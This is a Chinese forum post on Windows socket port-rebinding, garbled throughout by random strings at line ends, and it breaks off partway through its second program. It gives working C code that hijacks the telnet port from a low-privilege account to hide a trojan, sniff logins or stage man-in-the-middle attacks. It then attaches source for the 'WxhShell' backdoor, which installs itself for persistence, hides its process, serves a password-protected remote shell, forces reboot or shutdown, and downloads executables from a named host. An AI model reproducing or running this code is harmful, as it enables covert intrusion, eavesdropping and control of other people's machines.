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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: a F5=k: k  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -XMWN$Ah  
%C =?Xhnv  
  saddr.sin_family = AF_INET; /PTk296@  
. yN.  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); } U_z XuUz  
NKRI|'Y,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); AEO7I f@  
$G D@e0  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 du_TiI  
&A)u!l Ue  
  这意味着什么?意味着可以进行如下的攻击: )Bpvi4O  
?8TIPz J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OiJz?G:m  
Z O\x|E!b  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ~ "stI   
]Z=O+7(r  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ! ~3zp L  
"S^ ""5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  g$9EI\a  
 K>S:Z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rw]lW;EN<  
A#x_>fV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 6< @F  
MwO`DrV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ~X<Ie9m1x  
Cs?[   
  #include Lf0Wc'9{  
  #include E`gUNAKQ  
  #include -0:Equ?pz  
  #include    Eq/oq\(/6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4#Id0['  
  int main() gf^XqTLs  
  { "|6763.{4  
  WORD wVersionRequested; @; 0t+  
  DWORD ret; !r %u@[(  
  WSADATA wsaData; ~%Xs"R1c ,  
  BOOL val; L2`a| T=  
  SOCKADDR_IN saddr; 7>!Rg~M  
  SOCKADDR_IN scaddr; l2 mO{'|C  
  int err; 3.E3}Jz`  
  SOCKET s; 2Wp)CI<\D  
  SOCKET sc; g#s hd~e  
  int caddsize; Jx3fS2  
  HANDLE mt; ! w2BD^V-  
  DWORD tid;   MVXy)9q  
  wVersionRequested = MAKEWORD( 2, 2 ); ^Y?Y5`! Q  
  err = WSAStartup( wVersionRequested, &wsaData ); ,;k`N`#'  
  if ( err != 0 ) { $4u8"ne)  
  printf("error!WSAStartup failed!\n"); }&Kl)2:O  
  return -1; I`4k5KB;  
  } Q@5v> `  
  saddr.sin_family = AF_INET; i2 7KuPjC  
   P^J#;{R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 D+('1E?  
c!Wj^  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); rLx'.:  
  saddr.sin_port = htons(23); KGNBzy~9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T%[!m5   
  { Z<W`5sop^  
  printf("error!socket failed!\n"); o*Kl`3=]  
  return -1; .XPPd?R  
  } c(r8 F[4w  
  val = TRUE; eiwPp9[08  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *Vr;rk  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ) ={ H  
  { +~f5dJyk`  
  printf("error!setsockopt failed!\n"); 141XnAb)I  
  return -1; st-I7K\v  
  } f\h|Z*Bv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; = @n`5g  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1,Ji|&Pwf  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Bl*.N9*  
m 7/b.B}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ^;mnP=`l[  
  { mt*/%>@7R  
  ret=GetLastError(); G[ gfD\  
  printf("error!bind failed!\n"); w .+B h  
  return -1; |jJ9dTD8/  
  } ? H7?>ZE  
  listen(s,2); sQgJ`+Y8_  
  while(1) LypBS]r u  
  { 6'6,ySo]  
  caddsize = sizeof(scaddr); t# <(Q  
  //接受连接请求 .qg 2zE$0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?i5=sK\  
  if(sc!=INVALID_SOCKET) h[}e5A]}  
  { 8s)(e9Sr  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); t>%+[7?6  
  if(mt==NULL) xay~fD  
  { Ae|bAyAK  
  printf("Thread Creat Failed!\n"); j,CVkA*DY  
  break; ^Kfm(E  
  } 7]lUPLsl  
  } *!&,)''  
  CloseHandle(mt); J[jzkzSu`  
  } #Pe|}!)u  
  closesocket(s); $.T\dm-  
  WSACleanup(); }CB9H$FkCY  
  return 0; |P(8T'  
  }   j5V{,lf  
  DWORD WINAPI ClientThread(LPVOID lpParam) WdJJt2'  
  { r>Cv@4/j  
  SOCKET ss = (SOCKET)lpParam; . E? a  
  SOCKET sc; Fd1jElt  
  unsigned char buf[4096]; L]#b =Y  
  SOCKADDR_IN saddr; <z R CT  
  long num;  #[yZP9  
  DWORD val; =L&dV]'4P  
  DWORD ret; 9 gWqs'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 5[|ZceY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   'NSfGC%7R  
  saddr.sin_family = AF_INET; &9Xn:<"`)  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); !G~`5?CvE  
  saddr.sin_port = htons(23); #kRt\Fzq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7O\Qxc\  
  { CjZIBMGc  
  printf("error!socket failed!\n"); 6![}Jvu>  
  return -1; QM4O|x[   
  } -mqL[ h,  
  val = 100; W~d^ *LZt  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3fdqFJ O  
  { w'zSV1  
  ret = GetLastError(); 9Z lfY1=  
  return -1; $3yn-'o'A  
  } GyLp&aa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0q_?<v_ 1  
  { G}#p4 \/  
  ret = GetLastError(); :[!b";pR  
  return -1; pv@w 8*  
  } k4`(7Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @ *n oma  
  { , ^@z;xF  
  printf("error!socket connect failed!\n"); KkyZd9  
  closesocket(sc); 'QQa :3<x  
  closesocket(ss); WWN2  
  return -1; $64sf?aZ>#  
  } ?d`j}  
  while(1) 8<PQ31  
  { &*9 ' 0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 M{Hy=:K+  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 JV@b(x`  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 \fJ _,  
  num = recv(ss,buf,4096,0); RKD$'UWX  
  if(num>0) mt}3/d  
  send(sc,buf,num,0); <Xb$YB-c  
  else if(num==0) |^C35 6M>  
  break; jYE ?wc+FT  
  num = recv(sc,buf,4096,0); z4wG]]Kh*  
  if(num>0) iE,/x^&,&  
  send(ss,buf,num,0); A1F!I4p5  
  else if(num==0) k293 wS  
  break; y_{fc$_&  
  } M=#g_*d  
  closesocket(ss); SshjUNx  
  closesocket(sc); Q(/F7 "m  
  return 0 ; L&G5 kY`  
  } &{ZTtK&JF  
sjG@4Or  
L^e%oQ>s  
========================================================== k@^T<Ci  
Oz-@e%8L  
下边附上一个代码,,WXhSHELL DH!_UV  
*  \%b1  
========================================================== Dn@Sjsj>  
l,:> B-FV  
#include "stdafx.h" 5~{s-Ms  
*_/n$& I%&  
#include <stdio.h> F~wqt7*  
#include <string.h> Pv3qN{265  
#include <windows.h> Nbd[xs-lw  
#include <winsock2.h> sDP8!  
#include <winsvc.h> } bm ^`QY  
#include <urlmon.h> .wf$]oQQ  
=&#t ("  
#pragma comment (lib, "Ws2_32.lib") 5q _n 69b  
#pragma comment (lib, "urlmon.lib") M+-1/vR *@  
Cp^`-=r+  
#define MAX_USER   100 // 最大客户端连接数 m(CAXq-t  
#define BUF_SOCK   200 // sock buffer W3w$nV  
#define KEY_BUFF   255 // 输入 buffer 1)J' pDa  
rn RWL4  
#define REBOOT     0   // 重启 y;=/S?L.:  
#define SHUTDOWN   1   // 关机 "GB493=v  
l^R1XBP  
#define DEF_PORT   5000 // 监听端口 8XD_p);Oy  
|6 E !wW  
#define REG_LEN     16   // 注册表键长度 N7-LgP  
#define SVC_LEN     80   // NT服务名长度 S#N4!"  
PZk"!I<oN  
// 从dll定义API epG!V#I  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cHX~-:KOr  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 0`Y"xN`'i  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @o>3 Bv.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); #PQhgli  
ky I~  
// wxhshell配置信息 >Do P2]  
struct WSCFG { yeIc Q%  
  int ws_port;         // 监听端口 li9>zjz  
  char ws_passstr[REG_LEN]; // 口令  S)x5.vo^  
  int ws_autoins;       // 安装标记, 1=yes 0=no MR/gLm(8(  
  char ws_regname[REG_LEN]; // 注册表键名 d'[]  
  char ws_svcname[REG_LEN]; // 服务名 pZ5eGA=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ~'0W(~Q8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 7uq^TO>9f  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ny G?^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #]z_pp:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe"  >f*Zf(F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 .svlJSx  
[U_  
}; 8y'.H21:;  
C=&;4In  
// default Wxhshell configuration K(rWM>Jv  
struct WSCFG wscfg={DEF_PORT, '1rO&F  
    "xuhuanlingzhe", u1ahAk7  
    1, U:uF rb,  
    "Wxhshell", a]@BS6  
    "Wxhshell", fr<V])  
            "WxhShell Service", RL b o  
    "Wrsky Windows CmdShell Service", 1"~$(@oxG  
    "Please Input Your Password: ", 0,j!*  
  1, }NKnV3G/Z  
  "http://www.wrsky.com/wxhshell.exe", S^A+Km3VB  
  "Wxhshell.exe" 0ni/!}YP_  
    }; p{[(4}ql  
tgC)vZ&a  
// 消息定义模块 9{8xMM-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; h@fF`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; AtNF&=Op  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #7=- zda5  
char *msg_ws_ext="\n\rExit."; }s:~E2?In  
char *msg_ws_end="\n\rQuit."; B:#9   
char *msg_ws_boot="\n\rReboot..."; IC+!XZqS  
char *msg_ws_poff="\n\rShutdown..."; 3ICMH  
char *msg_ws_down="\n\rSave to "; $y,tR.5.)[  
Zw_'u=r >  
char *msg_ws_err="\n\rErr!"; r b*;4a  
char *msg_ws_ok="\n\rOK!"; M=Y['w x  
?<1~KLPMhY  
char ExeFile[MAX_PATH]; Ww=b{lUD  
int nUser = 0; <jG[ z69)  
HANDLE handles[MAX_USER]; ["sm7yQ  
int OsIsNt; CvRO'  
Q-Oj%w4e  
SERVICE_STATUS       serviceStatus; [wn! <#~v  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; hkx(r5o  
aV#phP  
// 函数声明 Q:8t1ZDo  
int Install(void); W{fNZb'  
int Uninstall(void); 2*a5pFkb  
int DownloadFile(char *sURL, SOCKET wsh); i9D<jkc  
int Boot(int flag); 6mV^a kapv  
void HideProc(void); U&0 RQ:B  
int GetOsVer(void); fPq)Lx1'  
int Wxhshell(SOCKET wsl); T l8`3`e  
void TalkWithClient(void *cs); ei(S&u<  
int CmdShell(SOCKET sock); Suy +XHV  
int StartFromService(void); RKy!=#;17  
int StartWxhshell(LPSTR lpCmdLine); LvNulMEK  
75;g|+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Nf%/)Tk  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xo3@-D_c!c  
{_UOS8j7  
// 数据结构和表定义 e*M-y C  
SERVICE_TABLE_ENTRY DispatchTable[] = ,O_iSohS  
{ aUq 2$lw1  
{wscfg.ws_svcname, NTServiceMain}, Dq+S'x~>  
{NULL, NULL} Rw)=<XV)6  
}; j7~Rw"(XQc  
e?+&2zMq  
// 自我安装 QypUBf  
int Install(void) 5 Q/yPQN  
{ %Ot*k%F  
  char svExeFile[MAX_PATH]; }J $\<ZT  
  HKEY key; BT"n;L?[  
  strcpy(svExeFile,ExeFile); ]Rj?OSok  
\k5 sdHmI[  
// 如果是win9x系统,修改注册表设为自启动 C(kL=WD   
if(!OsIsNt) { EkoT U#w5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { v {) 8QF]  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {xf00/  
  RegCloseKey(key); Q^):tO]!Ma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { MH|R@g  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WWT1_&0  
  RegCloseKey(key); N 1hj[G[H"  
  return 0; =k5O*ql"  
    } %:Z_~7ZR  
  } yw >Frb5p  
} Ho1V)T>  
else { _pxurq{  
l OiZ2_2  
// 如果是NT以上系统,安装为系统服务 r?/!VO-*N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); KBa0  
if (schSCManager!=0) d ;i@9+  
{ sY:=bU^P  
  SC_HANDLE schService = CreateService ~l]g4iEp  
  ( b8!   
  schSCManager, 3 Scc"9]  
  wscfg.ws_svcname, slaH2}$xR  
  wscfg.ws_svcdisp, cp6I]#X  
  SERVICE_ALL_ACCESS, \- 8aTF  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O=oIkvg  
  SERVICE_AUTO_START, j<)`|?@e(  
  SERVICE_ERROR_NORMAL, sfk;c#K  
  svExeFile, *!ecb1U5  
  NULL, ZFs xsg^r  
  NULL, Z9eP(ip  
  NULL, 1Cw HGO  
  NULL, xqfIm%9i}  
  NULL A2SDEVU  
  ); kW=!RX[&  
  if (schService!=0) KbMan~Pb6  
  { :QC |N@C  
  CloseServiceHandle(schService); g([M hf#  
  CloseServiceHandle(schSCManager); AF>t{rw=/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KW/LyiP#  
  strcat(svExeFile,wscfg.ws_svcname); I3u)y|Y=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { R{pF IyR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4hzdc ] a  
  RegCloseKey(key); $g),|[ x+(  
  return 0; `pF7B6[B  
    } &Bqu2^^  
  } i&{%} ==7  
  CloseServiceHandle(schSCManager); ;9LOeH?  
} l#Vg=zrT  
} z0Z1J8Qq6.  
@2;cv?i)  
return 1; -d^'-s  
} N_/+B]r }T  
{nw.bKq 7  
// 自我卸载 =_CH$F!U  
int Uninstall(void) qg:EN~E#  
{ wo;OkJKF  
  HKEY key; +.Xi7x+#O  
C[5dhFZ  
if(!OsIsNt) { ^PUB~P/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OY2u,LF9H  
  RegDeleteValue(key,wscfg.ws_regname); ]^,!;do  
  RegCloseKey(key); "C?H:8W  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @9R78Zra  
  RegDeleteValue(key,wscfg.ws_regname); )S;3WnQ)  
  RegCloseKey(key); txE+A/>i9  
  return 0; :(@P *"j  
  } )_Z^oH ]<  
} ,T$ GOjt  
} 3R-5&!i  
else { M6GiohI_"P  
Hg$7[um  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ).AMfBQ=;  
if (schSCManager!=0) "Q{ l])N  
{ | AiMx2  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); t7Mq>rFB  
  if (schService!=0) JKy~'>Q  
  { pw`'q(ad  
  if(DeleteService(schService)!=0) { 2[qoqd(  
  CloseServiceHandle(schService); `F3wO!  
  CloseServiceHandle(schSCManager); E^$8nqCL:  
  return 0; =- ,'LOE  
  } =T\=,B  
  CloseServiceHandle(schService); }kP<zvAaw  
  } (][-()YV  
  CloseServiceHandle(schSCManager); x=+>J$~Pb  
} xP/q[7>#Q  
} g@T}h[  
#2Iag' 4T  
return 1; \>G}DGz  
} t#3 _M=L  
|* ^LsuFb  
// 从指定url下载文件 [A~ Hl  
int DownloadFile(char *sURL, SOCKET wsh) dMCoN8W  
{ bwj{5-FU  
  HRESULT hr; (.X)=  
char seps[]= "/"; 1 b 86@f   
char *token; dFA1nn6{  
char *file; sN2m?`?"G  
char myURL[MAX_PATH]; _,IjB/PR(  
char myFILE[MAX_PATH]; ib~i ^_p  
WdlGnFAWh  
strcpy(myURL,sURL); PG}Roj I  
  token=strtok(myURL,seps); ~X3x- nAt  
  while(token!=NULL) v1Q 78P  
  { w`=O '0d  
    file=token; r)OiiD"  
  token=strtok(NULL,seps); -/V(Z+dj  
  } H5 V>d  
*C<;yPVc  
GetCurrentDirectory(MAX_PATH,myFILE); >oO]S]W  
strcat(myFILE, "\\"); Z4rk$K'=1w  
strcat(myFILE, file); dfKGO$}V  
  send(wsh,myFILE,strlen(myFILE),0); 5-y*]:g(  
send(wsh,"...",3,0); ,II3b( l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LrT EF j  
  if(hr==S_OK) #9Ect@?N0  
return 0; V1pBKr)v  
else .g1x$cQ1<  
return 1; L AH">E  
CWocb=E  
} 3u&,3:  
:~#)Xa0I  
// 系统电源模块 W]bgWKd  
int Boot(int flag) x)GheM^  
{ zBu@a:E%H  
  HANDLE hToken; 9t6c*|60#n  
  TOKEN_PRIVILEGES tkp; 9x|`XAB  
>3@3~F%xAX  
  if(OsIsNt) { EwkSUA>Tm  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^+v1[U@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ZWo~!Z[Y  
    tkp.PrivilegeCount = 1; 3ce$eZE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =B5{7g\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N5,LHO  
if(flag==REBOOT) {  mC$y*G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6@t&  
  return 0; 2QM{e!9  
} o-7{\%+M  
else { yNow hh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z"%.  
  return 0; euVDrJ^  
} Z\xnPhV  
  } *OznZIn  
  else { BAY e:0  
if(flag==REBOOT) { 0 !{X8>x  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) y_}vVHT,  
  return 0; 1[8^JVC>6  
} i?;#Z Nh  
else { s)`(@"{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ES AX}uF  
  return 0; 2xflRks  
} ybw\^t  
} pGjwI3_K  
 Pd\4hy  
return 1; Fa[^D~$l*  
} )Uy%iE*  
!Q15qvRS  
// win9x进程隐藏模块 *DC/O( 0  
void HideProc(void) ]& ckq  
{ \X _}\_c,d  
_uLpU4# ?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); @#OL{yMy  
  if ( hKernel != NULL ) pu]U_Ll@  
  { 7Q9Hk(Z9  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]oVP_ &E  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #}+H  
    FreeLibrary(hKernel); ] xHiy+  
  } H-+U^@w  
fmj}NV&ma  
return; ndzADVP  
} a1y<Y`SC9  
'ia-h7QWS  
// 获取操作系统版本 {?0'(D7.  
int GetOsVer(void) %UrNPk  
{ I`X!M!dB)  
  OSVERSIONINFO winfo; $"W[e"Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); {$hWz(  
  GetVersionEx(&winfo); nPdkvs   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) i.uyfV&F  
  return 1; q i yK  
  else O>qlWPht  
  return 0; 41<h|WA  
} z$R&u=J  
;mQ|+|F6X  
// 客户端句柄模块 5\C(2naf  
int Wxhshell(SOCKET wsl)   8sG?|u  
{ [0y,K{8t  
  SOCKET wsh; |ymW0gh7o$  
  struct sockaddr_in client; Ye&/O<G'V  
  DWORD myID; \-pwA j?  
L?+N:G  
  while(nUser<MAX_USER) g;'S5w9S  
{ H=C~h\me?  
  int nSize=sizeof(client); [|oG}'Xz  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1C{0 R.  
  if(wsh==INVALID_SOCKET) return 1; C/Tk`C&  
N=Ct3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `e<IO_cg  
if(handles[nUser]==0) JX&]>#6|E  
  closesocket(wsh); m;l[flQ~  
else @9| jY1  
  nUser++; npltsK):  
  } 4 H0rS'5d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +_J@8k  
<Y7j'n  
  return 0; /~u^@@.  
} +bLP+]7oZ  
=o~+R\1ux+  
// 关闭 socket yO7y`;Q(sF  
void CloseIt(SOCKET wsh) DdI%TU K,  
{ >IrQhSF  
closesocket(wsh); 7;q0'_G  
nUser--; eLPtdP5k  
ExitThread(0); IC'+{3.m8  
} F t11?D B  
S/)),~`4  
// 客户端请求句柄 n'^`;-  
void TalkWithClient(void *cs) DZ2gnRg  
{ [-VH%OM  
gi,7X\`KQ  
  SOCKET wsh=(SOCKET)cs; 3-hcKE  
  char pwd[SVC_LEN]; >y#MEN>?  
  char cmd[KEY_BUFF]; V'=;M[&  
char chr[1]; x)dLY.'|  
int i,j; !AE;s}v)0{  
4AJT)I.  
  while (nUser < MAX_USER) { %<nGm\  
8iaMr278W  
if(wscfg.ws_passstr) { &?bsBqpN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~/K&=xE  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gU+yqT7=  
  //ZeroMemory(pwd,KEY_BUFF); w/o^OjwQ  
      i=0; eUQmW^  
  while(i<SVC_LEN) { , 4xNW:!j  
,Ohhl`q(  
  // 设置超时 Yv]vl6<  
  fd_set FdRead; VVch%  
  struct timeval TimeOut; BedL `[ ,  
  FD_ZERO(&FdRead); 9`/e= RL  
  FD_SET(wsh,&FdRead); gPB=Z!  
  TimeOut.tv_sec=8; ,H"}Rw  
  TimeOut.tv_usec=0; 1q!k#Cliu  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 1$03:ve1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J' P:SC1  
k 6[   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eK1l~W%  
  pwd=chr[0]; d^RcJ3w  
  if(chr[0]==0xd || chr[0]==0xa) { HN NeH;L  
  pwd=0; 5A`>3w{3n  
  break; 0Sd>*nC  
  } w}l^B>Zz  
  i++; 1$E[`` n  
    } /]z #V'  
Fz(;Eo3  
  // 如果是非法用户,关闭 socket N\ Mdia  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4h!yh2c..  
} u;nn:K1QFr  
n$SL"iezW?  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]l fufjj  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); H if| z[0$  
(Ud"+a  
while(1) { PU.j(0  
&2  Yo  
  ZeroMemory(cmd,KEY_BUFF); n^;-&  
2Xv}JPS2As  
      // 自动支持客户端 telnet标准   >x6\A7  
  j=0; t=Rl`1 =(K  
  while(j<KEY_BUFF) { 3Y)z{o>P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); >Um(gbG  
  cmd[j]=chr[0]; Cj~e` VRhk  
  if(chr[0]==0xa || chr[0]==0xd) { W895@  
  cmd[j]=0; e"^WXP.t&  
  break; h!(# /  
  } 6)YckxN^  
  j++; 9'H:pb2  
    } XkqsL0\  
U~yPQ8jD  
  // 下载文件 5g-1pzP9  
  if(strstr(cmd,"http://")) { ],!}&#|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 3t9+YdNKU  
  if(DownloadFile(cmd,wsh)) *y<eK0  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <ndY6n3  
  else J)Yz@0#T(;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Hfj.8$   
  } .R` _"7  
  else { /PaS <"<P@  
a U.3  
    switch(cmd[0]) { %u9 Q`  
  Mj>Q V(L8t  
  // 帮助 e/ g9r  
  case '?': { Bj6%mI42hl  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z[[qrR  
    break;  ) 4t%?wT  
  } #s\yO~F-  
  // 安装 `dX0F=Ag?  
  case 'i': { 6rE8P#  
    if(Install()) TW 1`{SM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Da[#X`Kp$  
    else Y]6d Yq{k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); cCiDe`T\F  
    break; t3.;qDy  
    } \25EI]  
  // 卸载 :&&s*_  
  case 'r': { 5,4" CF$  
    if(Uninstall()) J( ]b1e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v\9f 8|K  
    else = YO<.(Lu  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zp{K_ec{  
    break; x76;wQ  
    } tIV9Y=ckr0  
  // 显示 wxhshell 所在路径 vAG|Y'aO@%  
  case 'p': { f\$_^dV  
    char svExeFile[MAX_PATH]; um/F:rp  
    strcpy(svExeFile,"\n\r"); [C-FJ>=S  
      strcat(svExeFile,ExeFile); GK6~~ga=  
        send(wsh,svExeFile,strlen(svExeFile),0); @||nd,i`n~  
    break; &QQ6F>'T  
    } X<Xiva85  
  // 重启 WaX!y$/z  
  case 'b': { Dby|l#X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dlZ2iDQ%  
    if(Boot(REBOOT)) dhP")@3K;p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *@@dO_%6  
    else { "-:g.x*d  
    closesocket(wsh); j)ln"u0R^B  
    ExitThread(0); "tJ[M  
    } t}}Ti$$>  
    break; \O~/^ Y3U!  
    } >U\P^yU  
  // 关机 ]T5\LNyN  
